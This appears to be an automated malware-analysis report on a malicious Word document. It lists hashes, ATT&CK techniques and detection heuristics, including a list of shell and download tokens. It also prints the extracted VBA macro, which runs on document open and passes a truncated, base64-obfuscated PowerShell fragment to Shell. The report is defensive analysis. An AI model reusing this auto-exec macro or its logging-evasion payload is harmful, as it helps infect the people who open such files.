Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 595b1ca982925201…

MALICIOUS

Office (OOXML)

16.0 KB Created: 2021-07-16 10:29:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2026-06-04
MD5: fc4ec71cb5987f83e6ce12f5d11ecf1b SHA-1: db402720b764f16fda8b5a4dd32c30bcec31155e SHA-256: 595b1ca98292520169d264c66eb3cdfdde0c49be25efdd78af5da1659b94e5e0
130 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious OOXML document containing a VBA macro. The Document_Open macro executes obfuscated VBA code that, when deobfuscated, appears to be an attempt to download and execute a second-stage payload. The specific VBA string is 'EwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABDADcANAAyAFsAJwBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbABvAGMAaQBOAHYAbgB2AG8AYwBhAHQAbwBpAG4AbwBMAG8AZwBnAGkAbgBnACcAJwBdAD0AMAB9ACQAdgBBAGwAPQBbAEMAbwBMAEwARQBjAHQAaQBPAG4AcwAuAEcAZQBOAEUAcgBpAGMALgBEAGkAYwB0AEkAbwBuAGEAcgB5AFsAcwBUAHIASQBOAEcALABTAHkAcwBUAGUATQAuAE8AYgBqAGUAYwB0AF0AXQA6ADoAbgBFAHcAKAApADsAJAB2AEEATAAuAEEARABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwA'. This indicates a likely spearphishing attachment used to deliver a payload.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (str)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1140 bytes
SHA-256: af4e505f8850111f8c6964ec865ed8b7df59f186d0875dc91cef1a4225d0d2ff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub ProcessImage()
    Dim str As String
         str = "EwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGw" & _
            "AbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABDADcANAAyAFsAJwBTAGMAcgBpAHAAdABCACcAKwAn" & _
            "AGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0AWwAnAEUAbgBhAGIAbABlAFMAYwByAGkAcAB0AEIAbAB" & _
            "vAGMAawBJAG4AdgBvAGMAYQB0AGkAbwBuAEwAbwBnAGcAaQBuAGcAJwBdAD0AMAB9ACQAdgBBAGwAPQBbAEMAbwB" & _
            "MAEwARQBjAHQAaQBPAG4AcwAuAEcAZQBOAEUAcgBpAGMALgBEAGkAYwB0AEkAbwBuAGEAcgB5AFsA" & _
            "cwBUAHIASQBOAEcALABTAHkAcwBUAGUATQAuAE8AYgBqAGUAYwB0AF0AXQA6ADoAbgBFAHcAKAApADsAJAB2" & _
            "AEEATAAuAEEARABkACgAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwA"
    Shell (str)


End Sub

Private Sub Document_Open()
    ProcessImage
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9216 bytes
SHA-256: 3cfbae874721b5a03d3306aa7c7ad58e42a1f382a105aacf209866352ff1cc09

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